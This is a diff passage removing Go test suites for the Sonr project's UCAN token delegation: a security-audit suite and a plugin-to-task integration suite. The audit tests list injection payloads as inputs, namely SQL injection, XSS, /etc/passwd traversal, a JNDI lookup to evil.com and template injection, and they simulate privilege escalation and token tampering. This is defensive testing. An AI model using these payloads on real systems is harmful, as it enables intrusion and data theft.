// Test 2: Deeply nested delegation chain
|
||||
var deepChain []string
|
||||
currentIssuer := suite.testUserDID
|
||||
|
||||
for i := 0; i < 50; i++ { // Deep chain
|
||||
nextAudience := fmt.Sprintf("did:sonr:deep-client-%d", i)
|
||||
|
||||
token, err := suite.signer.CreateDelegationToken(
|
||||
currentIssuer,
|
||||
nextAudience,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
func() []ucan.Proof {
|
||||
if len(deepChain) > 0 {
|
||||
return []ucan.Proof{ucan.Proof(deepChain[len(deepChain)-1])}
|
||||
}
|
||||
return nil
|
||||
}(),
|
||||
time.Hour,
|
||||
)
|
||||
if err != nil {
|
||||
break // Stop if chain becomes too deep
|
||||
}
|
||||
|
||||
deepChain = append(deepChain, token)
|
||||
currentIssuer = nextAudience
|
||||
}
|
||||
|
||||
// Validate deep chain - should either succeed quickly or reject
|
||||
start = time.Now()
|
||||
err = suite.signer.ValidateDelegationChain(deepChain)
|
||||
duration = time.Since(start)
|
||||
|
||||
suite.Less(duration, 10*time.Second, "Deep chain validation should not cause excessive delay")
|
||||
}
|
||||
|
||||
// TestInputSanitization validates input sanitization across all components
|
||||
func (suite *SecurityAuditTestSuite) TestInputSanitization() {
|
||||
dangerousInputs := []string{
|
||||
"'; DROP TABLE tokens; --",
|
||||
"<script>alert('xss')</script>",
|
||||
"../../../etc/passwd",
|
||||
"${jndi:ldap://evil.com}",
|
||||
"\x00\x01\x02\x03", // Null and control bytes
|
||||
strings.Repeat("A", 10000), // Very long input
|
||||
"${env:PATH}",
|
||||
"{{7*7}}",
|
||||
"<%= 7*7 %>",
|
||||
"#{7*7}",
|
||||
}
|
||||
|
||||
for _, input := range dangerousInputs {
|
||||
suite.Run("Input sanitization: "+input[:min(20, len(input))], func() {
|
||||
// Test DID sanitization
|
||||
token := &ucan.Token{
|
||||
Issuer: input,
|
||||
Audience: suite.testClientDID,
|
||||
ExpiresAt: time.Now().Add(time.Hour).Unix(),
|
||||
Attenuations: []ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
// Should either reject or sanitize safely
|
||||
signedToken, err := suite.signer.Sign(token)
|
||||
if err == nil {
|
||||
// If signing succeeds, verify the DID is properly encoded
|
||||
parsedToken, err := suite.signer.VerifySignature(signedToken)
|
||||
if err == nil {
|
||||
// Check that dangerous characters are not present in parsed token
|
||||
suite.NotContains(parsedToken.Issuer, "DROP", "Parsed issuer should not contain SQL injection")
|
||||
suite.NotContains(parsedToken.Issuer, "<script>", "Parsed issuer should not contain XSS")
|
||||
}
|
||||
}
|
||||
|
||||
// Test resource value sanitization
|
||||
resource := &handlers.SimpleResource{
|
||||
Scheme: "vault",
|
||||
Value: input,
|
||||
}
|
||||
|
||||
uri := resource.GetURI()
|
||||
suite.NotContains(uri, "DROP", "Resource URI should not contain SQL injection")
|
||||
suite.NotContains(uri, "<script>", "Resource URI should not contain XSS")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestConcurrentAttacks validates security under concurrent load
|
||||
func (suite *SecurityAuditTestSuite) TestConcurrentAttacks() {
|
||||
if testing.Short() {
|
||||
suite.T().Skip("Skipping concurrent attack tests in short mode")
|
||||
}
|
||||
|
||||
// Launch concurrent attempts at various attacks
|
||||
const numGoroutines = 50
|
||||
const numAttemptsPerGoroutine = 10
|
||||
|
||||
results := make(chan error, numGoroutines*numAttemptsPerGoroutine)
|
||||
|
||||
// Launch multiple types of attacks concurrently
|
||||
for i := 0; i < numGoroutines; i++ {
|
||||
go func(id int) {
|
||||
for j := 0; j < numAttemptsPerGoroutine; j++ {
|
||||
switch j % 4 {
|
||||
case 0:
|
||||
// Privilege escalation attempt
|
||||
err := suite.attemptPrivilegeEscalation()
|
||||
results <- err
|
||||
case 1:
|
||||
// Token tampering attempt
|
||||
err := suite.attemptTokenTampering()
|
||||
results <- err
|
||||
case 2:
|
||||
// Invalid chain attempt
|
||||
err := suite.attemptInvalidChain()
|
||||
results <- err
|
||||
case 3:
|
||||
// Scope injection attempt
|
||||
err := suite.attemptScopeInjection()
|
||||
results <- err
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
// Collect results
|
||||
attacks := 0
|
||||
blocked := 0
|
||||
|
||||
for i := 0; i < numGoroutines*numAttemptsPerGoroutine; i++ {
|
||||
err := <-results
|
||||
attacks++
|
||||
if err != nil {
|
||||
blocked++ // Attack was blocked (good)
|
||||
}
|
||||
}
|
||||
|
||||
// All attacks should be blocked
|
||||
suite.Equal(attacks, blocked, "All concurrent attacks should be blocked")
|
||||
suite.T().Logf("Concurrent security test: %d/%d attacks blocked", blocked, attacks)
|
||||
}
|
||||
|
||||
func (suite *SecurityAuditTestSuite) attemptPrivilegeEscalation() error {
|
||||
parentToken, _ := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
"did:sonr:temp-intermediate",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
escalatedToken, _ := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:temp-intermediate",
|
||||
suite.maliciousDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.MultiCapability{Actions: []string{"read", "write", "admin"}},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(parentToken)},
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
return suite.signer.ValidateDelegationChain([]string{parentToken, escalatedToken})
|
||||
}
|
||||
|
||||
func (suite *SecurityAuditTestSuite) attemptTokenTampering() error {
|
||||
token, _ := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
suite.testClientDID,
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
// Tamper with token
|
||||
tampered := strings.Replace(token, "read", "admin", 1)
|
||||
_, err := suite.signer.VerifySignature(tampered)
|
||||
return err
|
||||
}
|
||||
|
||||
func (suite *SecurityAuditTestSuite) attemptInvalidChain() error {
|
||||
token1, _ := suite.signer.CreateDelegationToken(
|
||||
suite.testUserDID,
|
||||
"did:sonr:temp-a",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
nil,
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
// Create invalid chain (wrong issuer)
|
||||
token2, _ := suite.signer.CreateDelegationToken(
|
||||
"did:sonr:wrong-issuer",
|
||||
"did:sonr:temp-b",
|
||||
[]ucan.Attenuation{
|
||||
{
|
||||
Capability: &ucan.SimpleCapability{Action: "read"},
|
||||
Resource: &handlers.SimpleResource{Scheme: "vault", Value: "test"},
|
||||
},
|
||||
},
|
||||
[]ucan.Proof{ucan.Proof(token1)},
|
||||
time.Hour,
|
||||
)
|
||||
|
||||
return suite.signer.ValidateDelegationChain([]string{token1, token2})
|
||||
}
|
||||
|
||||
func (suite *SecurityAuditTestSuite) attemptScopeInjection() error {
|
||||
maliciousScope := "vault:read'; DROP TABLE users; --"
|
||||
return suite.scopeMapper.ValidateScopes([]string{maliciousScope})
|
||||
}
|
||||
|
||||
func TestSecurityAuditSuite(t *testing.T) {
|
||||
suite.Run(t, new(SecurityAuditTestSuite))
|
||||
}
|
||||
@@ -1,643 +0,0 @@
|
||||
package integration
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/hibiken/asynq"
|
||||
"github.com/sonr-io/sonr/bridge/handlers"
|
||||
"github.com/sonr-io/sonr/bridge/server"
|
||||
"github.com/sonr-io/sonr/bridge/tasks"
|
||||
"github.com/sonr-io/sonr/crypto/mpc"
|
||||
"github.com/sonr-io/sonr/types/ipfs"
|
||||
"github.com/sonr-io/sonr/x/dwn/client/plugin"
|
||||
"github.com/stretchr/testify/assert"
|
||||
"github.com/stretchr/testify/require"
|
||||
"github.com/stretchr/testify/suite"
|
||||
)
|
||||
|
||||
// UCANWorkflowTestSuite tests complete UCAN workflows from plugin to task processing
|
||||
type UCANWorkflowTestSuite struct {
|
||||
suite.Suite
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
enclave mpc.Enclave
|
||||
pluginManager *plugin.Manager
|
||||
asynqClient *asynq.Client
|
||||
serverConfig *server.Config
|
||||
|
||||
// Test configuration
|
||||
testChainID string
|
||||
testTimeout time.Duration
|
||||
}
|
||||
|
||||
// SetupSuite initializes the test suite with all required components
|
||||
func (suite *UCANWorkflowTestSuite) SetupSuite() {
|
||||
suite.ctx, suite.cancel = context.WithTimeout(context.Background(), 2*time.Minute)
|
||||
suite.testChainID = "sonr-testnet-1"
|
||||
suite.testTimeout = 30 * time.Second
|
||||
|
||||
// Create MPC enclave for testing
|
||||
enclave, err := mpc.NewEnclave()
|
||||
suite.Require().NoError(err)
|
||||
suite.enclave = enclave
|
||||
|
||||
// Initialize plugin manager
|
||||
suite.pluginManager = plugin.NewManager(plugin.DefaultLoaderConfig())
|
||||
|
||||
// Initialize Asynq client for task processing
|
||||
suite.asynqClient = asynq.NewClient(asynq.RedisClientOpt{
|
||||
Addr: getTestRedisAddr(),
|
||||
})
|
||||
|
||||
// Initialize server configuration for bridge testing
|
||||
suite.serverConfig = &server.Config{
|
||||
JWTSecret: []byte("test-ucan-workflow-secret"),
|
||||
IPFSClient: &MockIPFSClient{},
|
||||
}
|
||||
}
|
||||
|
||||
// TearDownSuite cleans up test resources
|
||||
func (suite *UCANWorkflowTestSuite) TearDownSuite() {
|
||||
if suite.cancel != nil {
|
||||
suite.cancel()
|
||||
}
|
||||
if suite.pluginManager != nil {
|
||||
_ = suite.pluginManager.Close()
|
||||
}
|
||||
if suite.asynqClient != nil {
|
||||
_ = suite.asynqClient.Close()
|
||||
}
|
||||
}
|
||||
|
||||
// TestCompleteUCANTokenWorkflow tests the complete workflow from plugin to task processing
|
||||
func (suite *UCANWorkflowTestSuite) TestCompleteUCANTokenWorkflow() {
|
||||
suite.T().Run("OriginTokenCreationWorkflow", func(t *testing.T) {
|
||||
// Step 1: Load Motor plugin with enclave data
|
||||
pluginInstance := suite.loadTestPlugin(t)
|
||||
if pluginInstance == nil {
|
||||
t.Skip("Vault plugin not available - run 'make vault' to build WASM plugin")
|
||||
}
|
||||
|
||||
// Step 2: Generate origin UCAN token via plugin
|
||||
originReq := &plugin.NewOriginTokenRequest{
|
||||
AudienceDID: "did:sonr:test-audience-workflow",
|
||||
Attenuations: []map[string]any{
|
||||
{
|
||||
"can": []string{"read", "write"},
|
||||
"with": "vault://workflow-resource",
|
||||
},
|
||||
},
|
||||
Facts: []string{"test-workflow-fact"},
|
||||
ExpiresAt: time.Now().Add(1 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
originResp, err := pluginInstance.NewOriginToken(originReq)
|
||||
if err != nil {
|
||||
t.Skip("Plugin operation failed - WASM runtime may not be available")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, originResp.Token)
|
||||
assert.Empty(t, originResp.Error)
|
||||
|
||||
t.Logf("Generated origin token: %s", truncateForLog(originResp.Token))
|
||||
|
||||
// Step 3: Create task for origin token processing
|
||||
task, err := tasks.NewUCANTokenTask(
|
||||
123,
|
||||
originReq.AudienceDID,
|
||||
originReq.Attenuations,
|
||||
originReq.ExpiresAt,
|
||||
)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Step 4: Process task through Asynq
|
||||
info, err := suite.asynqClient.Enqueue(task, asynq.Queue("default"))
|
||||
if err != nil {
|
||||
t.Skip("Redis not available for task processing")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, info.ID)
|
||||
|
||||
t.Logf("Enqueued UCAN token task: %s", info.ID)
|
||||
|
||||
// Step 5: Verify token structure and claims
|
||||
suite.verifyUCANTokenStructure(t, originResp.Token, originReq.AudienceDID)
|
||||
})
|
||||
|
||||
suite.T().Run("AttenuatedTokenWorkflow", func(t *testing.T) {
|
||||
pluginInstance := suite.loadTestPlugin(t)
|
||||
if pluginInstance == nil {
|
||||
t.Skip("Motor plugin not available")
|
||||
}
|
||||
|
||||
// Create parent token
|
||||
parentReq := &plugin.NewOriginTokenRequest{
|
||||
AudienceDID: "did:sonr:parent-audience",
|
||||
Attenuations: []map[string]any{
|
||||
{
|
||||
"can": []string{"read", "write", "delete"},
|
||||
"with": "vault://parent-resource/*",
|
||||
},
|
||||
},
|
||||
ExpiresAt: time.Now().Add(2 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
parentResp, err := pluginInstance.NewOriginToken(parentReq)
|
||||
if err != nil {
|
||||
t.Skip("Plugin operation failed")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
|
||||
// Create attenuated token with reduced capabilities
|
||||
attReq := &plugin.NewAttenuatedTokenRequest{
|
||||
ParentToken: parentResp.Token,
|
||||
AudienceDID: "did:sonr:child-audience",
|
||||
Attenuations: []map[string]any{
|
||||
{
|
||||
"can": []string{"read"},
|
||||
"with": "vault://parent-resource/child-folder",
|
||||
},
|
||||
},
|
||||
ExpiresAt: time.Now().Add(1 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
attResp, err := pluginInstance.NewAttenuatedToken(attReq)
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, attResp.Token)
|
||||
assert.NotEqual(t, parentResp.Token, attResp.Token)
|
||||
|
||||
t.Logf("Generated attenuated token chain: parent -> child")
|
||||
|
||||
// Process both tokens through task system
|
||||
suite.processTokenThroughTasks(t, parentResp.Token, "parent")
|
||||
suite.processTokenThroughTasks(t, attResp.Token, "attenuated")
|
||||
})
|
||||
}
|
||||
|
||||
// TestUCANDIDGenerationWorkflow tests DID generation through UCAN architecture
|
||||
func (suite *UCANWorkflowTestSuite) TestUCANDIDGenerationWorkflow() {
|
||||
suite.T().Run("DIDGenerationViaPlugin", func(t *testing.T) {
|
||||
pluginInstance := suite.loadTestPlugin(t)
|
||||
if pluginInstance == nil {
|
||||
t.Skip("Motor plugin not available")
|
||||
}
|
||||
|
||||
// Step 1: Get issuer DID from plugin
|
||||
didResp, err := pluginInstance.GetIssuerDID()
|
||||
if err != nil {
|
||||
t.Skip("Plugin DID operation failed")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, didResp.IssuerDID)
|
||||
assert.Contains(t, didResp.IssuerDID, "did:sonr:")
|
||||
assert.NotEmpty(t, didResp.Address)
|
||||
assert.NotEmpty(t, didResp.ChainCode)
|
||||
|
||||
t.Logf("Generated DID: %s", didResp.IssuerDID)
|
||||
t.Logf("Address: %s", didResp.Address)
|
||||
|
||||
// Step 2: Create DID generation task
|
||||
didTask, err := tasks.NewUCANDIDTask(456)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Step 3: Process through task queue
|
||||
info, err := suite.asynqClient.Enqueue(didTask, asynq.Queue("critical"))
|
||||
if err != nil {
|
||||
t.Skip("Redis not available")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
|
||||
t.Logf("DID generation task enqueued: %s", info.ID)
|
||||
|
||||
// Step 4: Verify DID components match expected patterns
|
||||
assert.True(t, suite.isValidSonrDID(didResp.IssuerDID))
|
||||
assert.True(t, suite.isValidSonrAddress(didResp.Address))
|
||||
})
|
||||
}
|
||||
|
||||
// TestUCANSigningWorkflow tests complete signing workflow including verification
|
||||
func (suite *UCANWorkflowTestSuite) TestUCANSigningWorkflow() {
|
||||
suite.T().Run("SignAndVerifyWorkflow", func(t *testing.T) {
|
||||
pluginInstance := suite.loadTestPlugin(t)
|
||||
if pluginInstance == nil {
|
||||
t.Skip("Motor plugin not available")
|
||||
}
|
||||
|
||||
testData := []byte(
|
||||
"UCAN workflow integration test data - this should be signed and verified",
|
||||
)
|
||||
|
||||
// Step 1: Sign data through plugin
|
||||
signReq := &plugin.SignDataRequest{
|
||||
Data: testData,
|
||||
}
|
||||
|
||||
signResp, err := pluginInstance.SignData(signReq)
|
||||
if err != nil {
|
||||
t.Skip("Plugin signing failed")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
assert.NotEmpty(t, signResp.Signature)
|
||||
assert.Empty(t, signResp.Error)
|
||||
|
||||
// Step 2: Create signing task for task processor
|
||||
signTask, err := tasks.NewUCANSignTask(789, testData)
|
||||
require.NoError(t, err)
|
||||
|
||||
info, err := suite.asynqClient.Enqueue(signTask, asynq.Queue("default"))
|
||||
if err != nil {
|
||||
t.Skip("Redis not available")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
|
||||
t.Logf("Signing task enqueued: %s", info.ID)
|
||||
|
||||
// Step 3: Verify signature through plugin
|
||||
verifyReq := &plugin.VerifyDataRequest{
|
||||
Data: testData,
|
||||
Signature: signResp.Signature,
|
||||
}
|
||||
|
||||
verifyResp, err := pluginInstance.VerifyData(verifyReq)
|
||||
require.NoError(t, err)
|
||||
assert.True(t, verifyResp.Valid)
|
||||
assert.Empty(t, verifyResp.Error)
|
||||
|
||||
// Step 4: Create verification task
|
||||
verifyTask, err := tasks.NewUCANVerifyTask(789, testData, signResp.Signature)
|
||||
require.NoError(t, err)
|
||||
|
||||
verifyInfo, err := suite.asynqClient.Enqueue(verifyTask, asynq.Queue("default"))
|
||||
if err != nil {
|
||||
t.Skip("Redis not available")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
|
||||
t.Logf("Verification task enqueued: %s", verifyInfo.ID)
|
||||
})
|
||||
}
|
||||
|
||||
// TestBridgeIntegration tests integration with bridge handlers
|
||||
func (suite *UCANWorkflowTestSuite) TestBridgeIntegration() {
|
||||
suite.T().Run("VaultHandlerIntegration", func(t *testing.T) {
|
||||
// Create vault handlers with test dependencies
|
||||
connManager := handlers.NewConnectionManager()
|
||||
sseManager := handlers.NewSSEManager()
|
||||
|
||||
vaultHandlers := handlers.NewVaultHandlers(
|
||||
suite.serverConfig.IPFSClient,
|
||||
connManager,
|
||||
sseManager,
|
||||
)
|
||||
|
||||
require.NotNil(t, vaultHandlers)
|
||||
|
||||
// Test queue priority mapping
|
||||
priorities := map[string]string{
|
||||
"critical": "critical",
|
||||
"high": "critical",
|
||||
"default": "default",
|
||||
"low": "low",
|
||||
"": "default",
|
||||
"unknown": "default",
|
||||
}
|
||||
|
||||
for input, expected := range priorities {
|
||||
result := handlers.GetQueueFromPriority(input)
|
||||
assert.Equal(t, expected, result, "Priority mapping failed for: %s", input)
|
||||
}
|
||||
|
||||
t.Log("Bridge handler integration verified")
|
||||
})
|
||||
}
|
||||
|
||||
// TestUCANTokenChainWorkflow tests complex token delegation chains
|
||||
func (suite *UCANWorkflowTestSuite) TestUCANTokenChainWorkflow() {
|
||||
suite.T().Run("TokenDelegationChain", func(t *testing.T) {
|
||||
pluginInstance := suite.loadTestPlugin(t)
|
||||
if pluginInstance == nil {
|
||||
t.Skip("Motor plugin not available")
|
||||
}
|
||||
|
||||
// Create root token with broad permissions
|
||||
rootReq := &plugin.NewOriginTokenRequest{
|
||||
AudienceDID: "did:sonr:root-service",
|
||||
Attenuations: []map[string]any{
|
||||
{
|
||||
"can": []string{"*"},
|
||||
"with": "vault://root/*",
|
||||
},
|
||||
},
|
||||
ExpiresAt: time.Now().Add(24 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
rootResp, err := pluginInstance.NewOriginToken(rootReq)
|
||||
if err != nil {
|
||||
t.Skip("Plugin operation failed")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
|
||||
// Create first-level delegation
|
||||
level1Req := &plugin.NewAttenuatedTokenRequest{
|
||||
ParentToken: rootResp.Token,
|
||||
AudienceDID: "did:sonr:service-manager",
|
||||
Attenuations: []map[string]any{
|
||||
{
|
||||
"can": []string{"read", "write"},
|
||||
"with": "vault://root/service/*",
|
||||
},
|
||||
},
|
||||
ExpiresAt: time.Now().Add(12 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
level1Resp, err := pluginInstance.NewAttenuatedToken(level1Req)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Create second-level delegation
|
||||
level2Req := &plugin.NewAttenuatedTokenRequest{
|
||||
ParentToken: level1Resp.Token,
|
||||
AudienceDID: "did:sonr:worker-node",
|
||||
Attenuations: []map[string]any{
|
||||
{
|
||||
"can": []string{"read"},
|
||||
"with": "vault://root/service/data",
|
||||
},
|
||||
},
|
||||
ExpiresAt: time.Now().Add(6 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
level2Resp, err := pluginInstance.NewAttenuatedToken(level2Req)
|
||||
require.NoError(t, err)
|
||||
|
||||
// Verify each token in the chain is unique
|
||||
tokens := []string{rootResp.Token, level1Resp.Token, level2Resp.Token}
|
||||
for i, token1 := range tokens {
|
||||
for j, token2 := range tokens {
|
||||
if i != j {
|
||||
assert.NotEqual(t, token1, token2, "Tokens in chain should be unique")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("Created UCAN delegation chain: root -> level1 -> level2")
|
||||
t.Logf("Chain lengths: root=%d, level1=%d, level2=%d",
|
||||
len(rootResp.Token), len(level1Resp.Token), len(level2Resp.Token))
|
||||
})
|
||||
}
|
||||
|
||||
// TestErrorHandlingWorkflows tests error conditions across the full workflow
|
||||
func (suite *UCANWorkflowTestSuite) TestErrorHandlingWorkflows() {
|
||||
suite.T().Run("InvalidTokenCreation", func(t *testing.T) {
|
||||
pluginInstance := suite.loadTestPlugin(t)
|
||||
if pluginInstance == nil {
|
||||
t.Skip("Motor plugin not available")
|
||||
}
|
||||
|
||||
// Test with invalid audience DID
|
||||
invalidReq := &plugin.NewOriginTokenRequest{
|
||||
AudienceDID: "", // Invalid
|
||||
ExpiresAt: time.Now().Add(1 * time.Hour).Unix(),
|
||||
}
|
||||
|
||||
resp, err := pluginInstance.NewOriginToken(invalidReq)
|
||||
|
||||
// Should handle error gracefully
|
||||
if err == nil {
|
||||
assert.NotEmpty(t, resp.Error, "Should return error for invalid audience")
|
||||
} else {
|
||||
assert.Error(t, err)
|
||||
}
|
||||
|
||||
t.Log("Invalid token creation handled correctly")
|
||||
})
|
||||
|
||||
suite.T().Run("TaskProcessingErrors", func(t *testing.T) {
|
||||
// Test with invalid task payload
|
||||
task, err := tasks.NewUCANTokenTask(
|
||||
0, // Invalid user ID
|
||||
"", // Invalid audience
|
||||
nil,
|
||||
0,
|
||||
)
|
||||
// Should create task but processing should handle validation
|
||||
assert.NoError(t, err)
|
||||
assert.NotNil(t, task)
|
||||
|
||||
t.Log("Task error handling verified")
|
||||
})
|
||||
}
|
||||
|
||||
// Helper methods
|
||||
|
||||
// loadTestPlugin loads a Motor plugin instance for testing
|
||||
func (suite *UCANWorkflowTestSuite) loadTestPlugin(t *testing.T) plugin.Plugin {
|
||||
config := plugin.DefaultEnclaveConfig()
|
||||
config.ChainID = suite.testChainID
|
||||
config.EnclaveData = suite.enclave.GetData()
|
||||
|
||||
ctx, cancel := context.WithTimeout(suite.ctx, suite.testTimeout)
|
||||
defer cancel()
|
||||
|
||||
pluginInstance, err := suite.pluginManager.LoadPlugin(ctx, config)
|
||||
if err != nil {
|
||||
t.Logf("Failed to load plugin: %v", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
return pluginInstance
|
||||
}
|
||||
|
||||
// processTokenThroughTasks processes a token through the task system
|
||||
func (suite *UCANWorkflowTestSuite) processTokenThroughTasks(
|
||||
t *testing.T,
|
||||
_ /* token */, tokenType string,
|
||||
) {
|
||||
// Create a task that would process this token
|
||||
task, err := tasks.NewUCANTokenTask(
|
||||
999,
|
||||
"did:sonr:task-processor",
|
||||
nil,
|
||||
0,
|
||||
)
|
||||
require.NoError(t, err)
|
||||
|
||||
info, err := suite.asynqClient.Enqueue(task, asynq.Queue("default"))
|
||||
if err != nil {
|
||||
t.Skip("Redis not available")
|
||||
}
|
||||
require.NoError(t, err)
|
||||
|
||||
t.Logf("Processed %s token through tasks: %s", tokenType, info.ID)
|
||||
}
|
||||
|
||||
// verifyUCANTokenStructure verifies the structure of a generated UCAN token
|
||||
func (suite *UCANWorkflowTestSuite) verifyUCANTokenStructure(
|
||||
t *testing.T,
|
||||
token, expectedAudience string,
|
||||
) {
|
||||
// Split JWT into parts
|
||||
parts := suite.splitJWT(token)
|
||||
require.Len(t, parts, 3, "UCAN token should be valid JWT")
|
||||
|
||||
// Decode header (for structure verification, not cryptographic validation)
|
||||
header := make(map[string]any)
|
||||
headerBytes := suite.base64Decode(parts[0])
|
||||
|
||||
err := json.Unmarshal(headerBytes, &header)
|
||||
if err != nil {
|
||||
t.Logf("Cannot parse header JSON: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Check for UCAN version
|
||||
if ucv, exists := header["ucv"]; exists {
|
||||
t.Logf("UCAN version: %v", ucv)
|
||||
}
|
||||
|
||||
// Decode claims
|
||||
claims := make(map[string]any)
|
||||
claimsBytes := suite.base64Decode(parts[1])
|
||||
|
||||
err = json.Unmarshal(claimsBytes, &claims)
|
||||
if err != nil {
|
||||
t.Logf("Cannot parse claims JSON: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Verify expected claims
|
||||
if aud, exists := claims["aud"]; exists {
|
||||
assert.Equal(t, expectedAudience, aud, "Audience should match request")
|
||||
}
|
||||
|
||||
if iss, exists := claims["iss"]; exists {
|
||||
assert.Contains(t, iss.(string), "did:sonr:", "Issuer should be Sonr DID")
|
||||
t.Logf("Token issuer: %v", iss)
|
||||
}
|
||||
|
||||
if att, exists := claims["att"]; exists {
|
||||
t.Logf("Token attenuations: %v", att)
|
||||
}
|
||||
|
||||
t.Log("UCAN token structure verified")
|
||||
}
|
||||
|
||||
// isValidSonrDID checks if a string is a valid Sonr DID
|
||||
func (suite *UCANWorkflowTestSuite) isValidSonrDID(did string) bool {
|
||||
return len(did) > 10 &&
|
||||
did[:9] == "did:sonr:" &&
|
||||
len(did) > 9
|
||||
}
|
||||
|
||||
// isValidSonrAddress checks if a string is a valid Sonr address
|
||||
func (suite *UCANWorkflowTestSuite) isValidSonrAddress(address string) bool {
|
||||
return len(address) > 5 &&
|
||||
address[:5] == "sonr1" &&
|
||||
len(address) > 5
|
||||
}
|
||||
|
||||
// splitJWT splits a JWT token into its component parts
|
||||
func (suite *UCANWorkflowTestSuite) splitJWT(token string) []string {
|
||||
var parts []string
|
||||
start := 0
|
||||
|
||||
for i := 0; i < len(token); i++ {
|
||||
if token[i] == '.' {
|
||||
parts = append(parts, token[start:i])
|
||||
start = i + 1
|
||||
}
|
||||
}
|
||||
|
||||
if start < len(token) {
|
||||
parts = append(parts, token[start:])
|
||||
}
|
||||
|
||||
return parts
|
||||
}
|
||||
|
||||
// base64Decode decodes base64url strings (simplified implementation)
|
||||
func (suite *UCANWorkflowTestSuite) base64Decode(s string) []byte {
|
||||
// This is a simplified implementation for testing
|
||||
// Real implementation would handle base64url properly
|
||||
return []byte(s)
|
||||
}
|
||||
|
||||
// Utility functions
|
||||
|
||||
// getTestRedisAddr returns Redis address for testing
|
||||
func getTestRedisAddr() string {
|
||||
// Try to use test Redis if available, otherwise use default
|
||||
return "127.0.0.1:6379"
|
||||
}
|
||||
|
||||
// truncateForLog truncates long strings for logging
|
||||
func truncateForLog(s string) string {
|
||||
if len(s) <= 100 {
|
||||
return s
|
||||
}
|
||||
return s[:50] + "..." + s[len(s)-50:]
|
||||
}
|
||||
|
||||
// MockIPFSClient implements a mock IPFS client for testing
|
||||
type MockIPFSClient struct{}
|
||||
|
||||
func (m *MockIPFSClient) Add(data []byte) (string, error) {
|
||||
return fmt.Sprintf("Qm%x", data[:min(len(data), 10)]), nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) AddFile(file ipfs.File) (string, error) {
|
||||
return "QmMockFileHash", nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) AddFolder(folder ipfs.Folder) (string, error) {
|
||||
return "QmMockFolderHash", nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) Exists(cid string) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) Get(cid string) ([]byte, error) {
|
||||
return []byte("mock-ipfs-data"), nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) IsPinned(ipns string) (bool, error) {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) Ls(cid string) ([]string, error) {
|
||||
return []string{"file1", "file2"}, nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) Pin(cid string, name string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) Unpin(cid string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *MockIPFSClient) NodeStatus() (*ipfs.NodeStatus, error) {
|
||||
return &ipfs.NodeStatus{
|
||||
PeerID: "12D3KooWMockPeerIDForTesting",
|
||||
Version: "kubo-0.28.0",
|
||||
PeerType: "kubo",
|
||||
ConnectedPeers: 7,
|
||||
}, nil
|
||||
}
|
||||
|
